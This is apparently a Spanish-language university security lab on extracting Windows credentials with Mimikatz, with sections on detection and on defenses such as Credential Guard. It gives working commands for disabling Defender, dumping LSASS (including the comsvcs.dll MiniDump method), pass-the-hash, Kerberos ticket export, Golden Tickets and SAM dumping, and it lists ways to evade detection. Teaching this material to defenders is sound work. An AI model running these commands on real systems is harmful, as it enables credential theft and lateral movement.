Lab 8.1: Mimikatz - Extracción de Credenciales en Vivo
Objetivos de Aprendizaje
Al finalizar este laboratorio, usted será capaz de:
- Comprender cómo Windows almacena las credenciales en memoria
- Utilizar Mimikatz para extraer contraseñas en texto claro desde la RAM
- Extraer hashes NTLM para Pass-the-Hash
- Comprender el funcionamiento de LSASS (Local Security Authority Subsystem Service)
- Volcar los tickets Kerberos
- Realizar ataques Pass-the-Hash y Pass-the-Ticket
- Comprender por qué Credential Guard es esencial
- Detectar el uso de Mimikatz en un sistema
- Implementar protecciones contra estos ataques
Duración Estimada
45 minutos
Prerrequisitos
- VM Windows 10/11
- Derechos de administrador
- Comprensión de la autenticación Windows
- Lab 3.1 (extracción de credenciales) completado para contexto
- Antivirus desactivado temporalmente (solo para el laboratorio)
Contexto Profesional
Mimikatz es la herramienta más famosa y temida en seguridad Windows. Creada por Benjamin Delpy, demuestra que Windows almacena credenciales en memoria de forma recuperable.
Mimikatz es utilizado por:
- Pentesters durante pruebas de intrusión
- Red Teams para simulaciones de ataques
- Atacantes APT (Amenazas Persistentes Avanzadas)
- Ransomware para movimiento lateral
- Forenses para investigación
Impacto histórico:
- Revelación de debilidades en el almacenamiento de credenciales de Windows
- Utilizado en casi todos los ataques importantes desde 2011
- Herramienta estándar en cualquier pentest de Windows
- Obligó a Microsoft a desarrollar Credential Guard
Ataques famosos usando Mimikatz:
- NotPetya (2017) - Ransomware devastador
- BadRabbit (2017) - Ransomware dirigido a Ucrania
- Carbanak (2015) - Robo de 1 billón USD a bancos
- Industroyer (2016) - Ataque a infraestructura eléctrica
ADVERTENCIA ÉTICA Y LEGAL - EXTREMADAMENTE IMPORTANTE
MIMIKATZ ES UNA HERRAMIENTA EXTREMADAMENTE PODEROSA
Mimikatz permite extraer TODAS las contraseñas en memoria, incluyendo:
- Contraseñas en texto claro
- Hash NTLM
- Tickets Kerberos
- Certificados
SOLO AUTORIZADO:
- En su VM de pruebas personal
- En sistemas de su propiedad
- En el marco de pruebas de penetración con contrato escrito y autorización explícita
- Para investigación forense con mandato legal
ESTRICTAMENTE PROHIBIDO:
- En sistemas empresariales sin autorización formal
- En computadoras que no le pertenecen
- Para robo de credenciales de otros
- Para acceso no autorizado a sistemas
CONSECUENCIAS LEGALES: Uso no autorizado de Mimikatz = Acceso ilegal a sistema informático + Robo de datos de autenticación (Código penal art. 342.1). Delito grave con prisión y multas masivas.
DETECCIÓN:
- Todos los antivirus detectan Mimikatz inmediatamente
- EDR (Endpoint Detection and Response) alerta en tiempo real
- SIEM correlaciona los eventos
- El uso deja rastros en los logs
PARA ESTE LABORATORIO:
- VM Windows aislada (red interna)
- Sin acceso a Internet
- Antivirus desactivado SOLO durante el laboratorio
- Reactívelo inmediatamente después
Parte 1: Comprender el Almacenamiento de Credenciales en Windows
Paso 1.1: LSASS (Local Security Authority Subsystem Service)
LSASS.exe:
- Proceso crítico de Windows
- Gestiona la autenticación de usuarios
- Almacena las credenciales en memoria para Single Sign-On (SSO)
- Se ejecuta con privilegios SYSTEM
¿Qué almacena LSASS?:
Cuando usted inicia sesión en Windows:
1. Usted ingresa: nombre de usuario + contraseña
2. Windows valida las credenciales
3. LSASS almacena en memoria:
- Contraseña en texto claro (si WDigest activado)
- Hash NTLM de la contraseña
- Tickets Kerberos (si dominio Active Directory)
- Tokens de autenticación
¿Por qué?: Para permitir SSO (Single Sign-On)
- Usted ingresa la contraseña UNA vez al iniciar sesión
- Windows la usa automáticamente para acceso a red, servicios, etc.
- ¡Práctico PERO peligroso si se compromete!
Paso 1.2: WDigest y Contraseñas en Texto Claro
Protocolo de Autenticación WDigest:
- Protocolo antiguo para autenticación HTTP Digest
- ¡Almacenaba las contraseñas EN TEXTO CLARO en LSASS!
- Activado por defecto en Windows 7, 8, Server 2008/2012
- Desactivado por defecto desde Windows 8.1 / Server 2012 R2
Verificar si WDigest está activado:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"
Resultado:
1= Activado (¡contraseñas en texto claro almacenadas!)0o ausente = Desactivado (más seguro)
Preguntas:
- ¿Qué es LSASS y por qué es crítico?
- ¿WDigest está activado en su sistema?
Paso 1.3: Tipos de Credenciales Recuperables
Con Mimikatz, usted puede obtener:
1. Contraseñas en texto claro (si WDigest activado):
Username: admin
Password: MySecretPassword123!
2. Hash NTLM:
NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c
Uso: Pass-the-Hash (¡conexión sin contraseña!)
3. Tickets Kerberos:
Golden Ticket, Silver Ticket, TGT
Uso: Suplantación, acceso a recursos
4. Certificados:
Certificados de autenticación
Claves privadas
Parte 2: Instalación y Preparación
Paso 2.1: Descarga de Mimikatz
Fuente oficial:
- GitHub: https://github.com/gentilkiwi/mimikatz
- Releases: https://github.com/gentilkiwi/mimikatz/releases
Descargue:
mimikatz_trunk.zip(versión completa)- Extraiga en
C:\Tools\mimikatz\
ATENCIÓN: ¡El antivirus detectará y eliminará INMEDIATAMENTE!
Paso 2.2: Desactivación de Windows Defender
PowerShell como administrador:
Set-MpPreference -DisableRealtimeMonitoring $true
Agregar exclusión (alternativa):
Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"
Verificar:
Get-MpPreference | Select-Object DisableRealtimeMonitoring
Debe devolver: True
IMPORTANTE: ¡Reactívelo después del laboratorio!
Set-MpPreference -DisableRealtimeMonitoring $false
Paso 2.3: Activar WDigest (Para Demo de Contraseñas en Texto Claro)
Para ver las contraseñas en texto claro, active WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Luego:
- Cierre sesión (logout)
- Inicie sesión nuevamente con su contraseña
- ¡La contraseña ahora está en memoria en texto claro!
Preguntas: 3. ¿Se desactivó Windows Defender? 4. ¿WDigest está ahora activado?
Parte 3: Primer Uso de Mimikatz
Paso 3.1: Lanzamiento y Privilegios
Abra CMD como ADMINISTRADOR
cd C:\Tools\mimikatz\x64
mimikatz.exe
Se abre la interfaz de Mimikatz:
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
Obtener privilegios de debug (CRÍTICO):
mimikatz # privilege::debug
Resultado esperado:
Privilege '20' OK
Si "ERROR": ¡No es administrador!
Elevar al token SYSTEM:
mimikatz # token::elevate
Resultado:
Token Id : 0
User name : NT AUTHORITY\SYSTEM
¡Ahora usted es SYSTEM!
Preguntas: 5. ¿Se obtuvo correctamente el privilegio de debug? 6. ¿Cuál es su nivel de privilegio actual?
Parte 4: Extracción de Contraseñas - EL COMANDO MÁGICO
Paso 4.1: sekurlsa::logonpasswords
EL COMANDO MÁS PODEROSO DE MIMIKATZ:
mimikatz # sekurlsa::logonpasswords
ESPERE UNOS SEGUNDOS...
RESULTADO (ejemplo):
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP-ABC123$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/8/2024 10:30:45 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : DESKTOP-ABC123$
* Domain : WORKGROUP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Admin
Domain : DESKTOP-ABC123
Logon Server : DESKTOP-ABC123
Logon Time : 11/8/2024 10:31:12 AM
SID : S-1-5-21-xxx-xxx-xxx-1001
msv :
[00000003] Primary
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
kerberos :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
¡INCREÍBLE! La contraseña aparece EN TEXTO CLARO:
Password : MySecretPassword123!
TODOS los usuarios conectados:
- Su nombre de usuario
- Su dominio
- ¡Su contraseña EN TEXTO CLARO!
- Su hash NTLM
- Sus tickets Kerberos
¡BOOM! ¡Por eso Mimikatz es legendario!
Paso 4.2: Análisis de Resultados
Cada sesión de usuario muestra:
msv (Microsoft Authentication Package):
- Hash NTLM
- Puede usarse para Pass-the-Hash
tspkg (Terminal Services Package):
- Credenciales para Remote Desktop
wdigest:
- CONTRASEÑA EN TEXTO CLARO (¡si WDigest activado!)
- Aquí es donde se ven las contraseñas
kerberos:
- Tickets de autenticación
- Contraseña en texto claro también (si está disponible)
livessp:
- Credenciales para Live ID
Paso 4.3: Extracción Específica
Extraer solo las contraseñas en texto claro:
mimikatz # sekurlsa::wdigest
Extraer solo los hashes NTLM:
mimikatz # sekurlsa::msv
Extraer solo tickets Kerberos:
mimikatz # sekurlsa::tickets
Preguntas: 7. ¿Cuántos usuarios tenían sesiones activas? 8. ¿Pudo ver contraseñas en texto claro? 9. Si no, ¿por qué? (Probablemente WDigest desactivado)
Parte 5: Ataque Pass-the-Hash
Paso 5.1: Comprender Pass-the-Hash
Principio:
Normalmente:
Usuario ingresa contraseña → Windows calcula hash NTLM → Usa hash para autenticación
Pero: ¡Windows acepta DIRECTAMENTE el hash!
Entonces:
El atacante tiene el hash (vía Mimikatz)
↓
Usa el hash directamente
↓
¡Conexión exitosa SIN conocer la contraseña!
Es como: ¡Usar la huella digital de alguien sin la persona!
Paso 5.2: Extracción del Hash
Desde los resultados de Mimikatz, anote un hash NTLM:
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Copie el hash: 8846f7eaee8fb117ad06bdd830b7586c
Paso 5.3: Usar el Hash para Autenticación
Con Mimikatz, autentíquese con el hash:
mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe
Resultado: ¡Se abre una nueva ventana CMD!
¡Esta sesión CMD está autenticada como Admin SIN haber ingresado la contraseña!
En este nuevo CMD, pruebe:
whoami
Resultado: DESKTOP-ABC123\Admin
Acceda a un recurso compartido de red (si tiene uno):
dir \\192.168.100.20\C$
¡Acceso exitoso SOLO con el hash!
Preguntas: 10. ¿Funcionó el Pass-the-Hash? 11. ¿A qué recursos de red puede acceder con el hash?
Parte 6: Volcado Completo de LSASS
Paso 6.1: Método Alternativo - Task Manager
Si Mimikatz no está disponible, puede volcar LSASS:
- Abra el Administrador de tareas (Ctrl+Shift+Esc)
- Pestaña "Detalles"
- Busque
lsass.exe - Clic derecho → "Crear archivo de volcado"
- Archivo creado:
lsass.DMP
¡Este archivo contiene TODAS las credenciales en memoria!
Paso 6.2: Analizar el Volcado de LSASS con Mimikatz
Transfiera lsass.DMP a una máquina de análisis (offline):
En la máquina de análisis (sin antivirus):
mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords
¡BOOM! Extracción de credenciales desde el volcado!
Ventaja:
- No es necesario ejecutar Mimikatz en la máquina objetivo
- Análisis offline (sin detección en tiempo de ejecución)
- El volcado puede hacerse con herramientas legítimas (ProcDump, Task Manager)
Comando ProcDump (Sysinternals - ¡legítimo!):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
¡Menos sospechoso que Mimikatz!
Paso 6.3: Automatización
Script PowerShell para volcado automático:
# Encontrar PID de LSASS
$lsassPID = (Get-Process lsass).Id
# Crear volcado con comsvcs.dll (¡método nativo de Windows!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full
Write-Host "LSASS dumped to C:\Temp\lsass.dmp"
Método sigiloso: ¡Utiliza una DLL legítima de Windows!
Preguntas: 12. ¿Funciona el volcado de LSASS vía Task Manager? 13. ¿Puede extraer credenciales del volcado offline?
Parte 7: Tickets Kerberos y Golden Ticket
Paso 7.1: Extraer Tickets Kerberos
Listar todos los tickets:
mimikatz # sekurlsa::tickets
Resultado:
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
Target Name (--) : @ DOMAIN.LOCAL
Client Name (01) : Admin ; @ DOMAIN.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
Los tickets contienen:
- TGT (Ticket Granting Ticket)
- Tickets de servicio
- Permiten acceso sin re-autenticación
Paso 7.2: Exportar Tickets
Exportar todos los tickets a archivos:
mimikatz # sekurlsa::tickets /export
Archivos creados:
[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...
¡Estos archivos .kirbi son los tickets!
Impórtelos en otra máquina:
mimikatz # kerberos::ptt Admin.kirbi
Resultado: ¡Acceso con la identidad de Admin en otra máquina!
Paso 7.3: Golden Ticket (Dominio AD)
NOTA: Requiere entorno Active Directory.
Si tiene el hash NTLM de la cuenta KRBTGT:
mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt
Resultado: ¡Ticket de administrador PERMANENTE!
Golden Ticket permite:
- Acceso a todos los recursos del dominio
- Válido por 10 años por defecto
- Indetectable (salvo monitoreo Kerberos)
- ¡Sobrevive al cambio de contraseña!
Preguntas: 14. ¿Cuántos tickets Kerberos extrajo? 15. ¿Qué es un Golden Ticket y por qué es tan peligroso?
Parte 8: Otras Funcionalidades de Mimikatz
Paso 8.1: Volcado SAM Local
Extraer hash de TODAS las cuentas locales:
mimikatz # lsadump::sam
Resultado:
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
RID : 000003e9 (1001)
User : Admin
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
¡Todas las cuentas locales de Windows!
Alternativa (más sigiloso):
mimikatz # lsadump::secrets
También extrae:
- Contraseña de cuenta de máquina
- Contraseñas de cuentas de servicio
- Claves maestras DPAPI
Paso 8.2: Certificados y Claves Privadas
Exportar certificados almacenados:
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export
Archivos creados: ¡Certificados y claves privadas!
Uso:
- Autenticación por certificado
- Firma de código
- Cifrado de datos
Paso 8.3: Vault y Credential Manager
Windows Credential Manager almacena:
- Credenciales para Remote Desktop
- Credenciales de red
- Credenciales web
- Credenciales genéricas
Extraer:
mimikatz # vault::list
mimikatz # vault::cred
Resultado:
Credential
Type : domain_password
Server : server.company.com
User : admin
Password : P@ssw0rd123
¡Credenciales almacenadas en Credential Manager reveladas!
Preguntas: 16. ¿Cuántas credenciales están almacenadas en Credential Manager? 17. ¿Hay contraseñas RDP guardadas?
Parte 9: Detección de Mimikatz
Paso 9.1: Firmas de Antivirus
Todos los antivirus detectan Mimikatz:
Prueba:
Reactive Defender:
Set-MpPreference -DisableRealtimeMonitoring $false
Intente ejecutar Mimikatz:
mimikatz.exe
Resultado: ¡Eliminación inmediata por Defender!
Logs de Windows Defender:
Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}
Paso 9.2: Detección Conductual (EDR)
Comportamientos sospechosos detectados por EDR:
-
Acceso al proceso LSASS:
- Event ID 4656: Handle to LSASS
- Proceso: Unknown.exe
- Acceso: Read Memory
-
Privilegio SeDebugPrivilege:
- Event ID 4672: Special privileges assigned
- Necesario para volcar LSASS
-
Lectura de memoria de LSASS:
- API: OpenProcess, ReadProcessMemory
- Objetivo: lsass.exe
- ¡Bandera roja inmediata!
Consulta de logs Sysmon:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} |
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, Message | Format-List
Event ID 10: ProcessAccess (acceso a un proceso)
Paso 9.3: Detección vía Análisis de Memoria
Strings en la memoria de Mimikatz:
strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"
Firmas únicas:
- "gentilkiwi" (autor)
- "sekurlsa"
- "A La Vie, A L'Amour" (lema)
Escaneo de memoria:
Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
if ($modules) {
Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
}
} catch {}
}
Preguntas: 18. ¿Windows Defender detectó Mimikatz? 19. ¿Cómo detectaría un EDR Mimikatz incluso con el antivirus desactivado?
Parte 10: Defensas contra Mimikatz
Paso 10.1: Credential Guard
Windows 10/11 Enterprise - Credential Guard:
Protección hardware contra volcado de credenciales:
- Utiliza Virtualization-Based Security (VBS)
- LSASS se ejecuta en un contenedor aislado
- Mimikatz NO puede acceder a las credenciales
Verificar si está activado:
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning
Activación (Windows Pro/Enterprise + TPM):
# Vía registro
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# Requiere reinicio
shutdown /r /t 0
Con Credential Guard: ¡Mimikatz falla!
Paso 10.2: Protecciones Complementarias
1. Protected Users Group:
Agregar usuarios al grupo "Protected Users":
Add-ADGroupMember -Identity "Protected Users" -Members Admin
Protecciones:
- Sin caché NTLM
- Sin CredSSP
- Sin Kerberos DES/RC4
2. Desactivar WDigest (si no está ya desactivado):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
3. LSA Protection (RunAsPPL):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
LSASS se ejecuta como Protected Process:
- Más difícil de volcar
- Mimikatz básico falla
- Requiere driver para evadir
4. Antivirus y EDR:
- Detección de firmas
- Detección conductual
- Bloqueo de acceso a LSASS
5. Logging y Monitoreo:
- Sysmon con configuración adecuada
- Event ID 4656, 4672, 10 (Sysmon)
- Alertas sobre acceso a LSASS
Paso 10.3: Buenas Prácticas
Administración:
- Usar cuentas separadas (admin vs usuario diario)
- No usar cuenta admin para navegación web
- Cerrar sesiones cuando no se usen
- No usar Domain Admin en estaciones de usuario
- Jump boxes para administración
Técnico:
- Credential Guard en todas las máquinas
- Protected Users para cuentas privilegiadas
- LAPS (Local Administrator Password Solution)
- Rotación regular de contraseñas
- 2FA en todos los lugares posibles
Monitoreo:
- Alertas sobre acceso a LSASS
- Detección de volcado de procesos
- Línea base de comportamientos normales
- Correlación de eventos (SIEM)
Preguntas: 20. ¿Credential Guard está activado en su sistema? 21. ¿Qué otras medidas recomendaría?
Entregables
A entregar:
-
Informe de explotación (Word/PDF, 5-6 páginas):
- Respuestas a las 21 preguntas
- Metodología de uso de Mimikatz
- Capturas completas de los resultados
- Análisis de credenciales extraídas (¡ANONIMIZADAS!)
- Explicación técnica del funcionamiento
-
Capturas de pantalla (mínimo 8):
- Interfaz de Mimikatz
- Comando privilege::debug exitoso
- Resultado de sekurlsa::logonpasswords (¡CONTRASEÑAS BORRADAS SI SON REALES!)
- Hash NTLM extraídos
- Pass-the-Hash en acción
- Volcado de LSASS vía Task Manager
- Intento con Defender activado (bloqueado)
- Configuración de Credential Guard
-
Documentación técnica (3 páginas):
- Explicación detallada de LSASS
- Proceso de almacenamiento de credenciales en memoria
- Por qué funciona Mimikatz
- Evolución de las protecciones de Microsoft
-
Plan de defensa (2 páginas):
- Medidas de protección multicapa
- Configuración de Credential Guard
- Política de gestión de cuentas privilegiadas
- Estrategia de monitoreo y detección
Criterios de Evaluación
| Criterio | Puntos |
|---|---|
| Comprensión del funcionamiento de Mimikatz y LSASS | 25% |
| Extracción exitosa de credenciales | 25% |
| Realización de Pass-the-Hash | 20% |
| Documentación técnica completa | 15% |
| Plan de defensa realista | 15% |
Comandos de Referencia Rápida
Preparación
# Desactivar Defender (solo laboratorio)
Set-MpPreference -DisableRealtimeMonitoring $true
# Activar WDigest (para contraseñas en texto claro)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Esenciales de Mimikatz
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets
Pass-the-Hash
mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe
Volcado de LSASS
# Task Manager GUI
# O
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# O
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full
Análisis del Volcado
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Protección
# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
# Desactivar WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
Solución de Problemas
Problema: "ERROR kuhl_m_sekurlsa_acquireLSA"
Solución: Mimikatz no tiene los privilegios necesarios.
- Ejecute CMD como administrador
- Verifique que
privilege::debugdevuelva "OK" - Pruebe
token::elevate
Problema: No se muestran contraseñas en texto claro
Razón: WDigest desactivado (normal en Windows 10+)
Soluciones:
- Active WDigest (ver Paso 2.3)
- Cierre sesión y vuelva a iniciar sesión
- Los hashes NTLM siempre están disponibles incluso sin WDigest
Problema: "Access Denied" al volcar LSASS
Solución:
- Ejecute como administrador
- El antivirus puede bloquear (desactive temporalmente)
- Algunos EDR bloquean incluso para admin
Para Profundizar (Opcional)
Challenge 1: Evasión de Mimikatz
Técnicas para evitar la detección:
- Ofuscación del binario
- Carga en memoria (invoke-mimikatz)
- Modificación del código fuente y recompilación
- Uso de alternativas (pypykatz, lsassy)
Challenge 2: Análisis Forense
En una máquina comprometida:
- Identificar rastros de Mimikatz
- Analizar logs para reconstrucción de la línea de tiempo
- Identificar credenciales comprometidas
- Evaluar impacto y alcance de la intrusión
Challenge 3: Alternativas a Mimikatz
Investigue y pruebe:
- pypykatz (implementación en Python)
- lsassy (volcado de LSASS vía SMB)
- SharpKatz (implementación en C#)
- SafetyKatz (ejecución en memoria)
Recursos Adicionales
- Mimikatz Official GitHub
- Mimikatz Wiki
- Microsoft: Credential Guard
- MITRE ATT&CK: Credential Dumping
- Detecting Mimikatz
Conclusión
Este laboratorio le ha enseñado:
- Uso de Mimikatz, la herramienta legendaria de volcado de credenciales
- Extracción de contraseñas en texto claro desde la memoria RAM
- Técnica de Pass-the-Hash para autenticación sin contraseña
- Manipulación de tickets Kerberos
- Múltiples métodos de volcado de LSASS
- Detección y defensas contra estos ataques
Lecciones críticas:
- Windows almacena las credenciales en memoria de forma recuperable
- Acceso de administrador = Acceso a TODAS las credenciales en memoria
- WDigest (si está activado) almacena contraseñas EN TEXTO CLARO
- El hash NTLM es suficiente para autenticación (Pass-the-Hash)
- Credential Guard es la única protección real
- La detección es fácil pero la prevención es compleja
Impacto de este conocimiento:
- Comprensión profunda de la autenticación Windows
- Importancia de la separación de privilegios
- Necesidad de monitoreo y detección
- Credential Guard = Obligatorio en empresas
- NUNCA usar cuentas admin para tareas diarias
Mensaje final:
Acaba de aprender a usar la herramienta más poderosa y temida en seguridad Windows. Mimikatz ha revolucionado el pentesting y obligó a Microsoft a revisar su arquitectura de seguridad.
Con gran poder viene una gran responsabilidad.
Utilice Mimikatz únicamente:
- En sus VMs de prueba
- En el marco de pentests autorizados
- Para comprender y DEFENDERSE de estos ataques
NUNCA para:
- Robo de credenciales de otros
- Acceso no autorizado
- Compromiso malicioso
Ahora entiende por qué:
- Los antivirus detectan Mimikatz instantáneamente
- Los EDR alertan sobre acceso a LSASS
- Credential Guard es esencial
- La seguridad Windows ha evolucionado desde Windows 10
Próximo paso: ¡Lab 8.2 donde aprenderá a evadir antivirus con ofuscación y AMSI bypass!
Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 8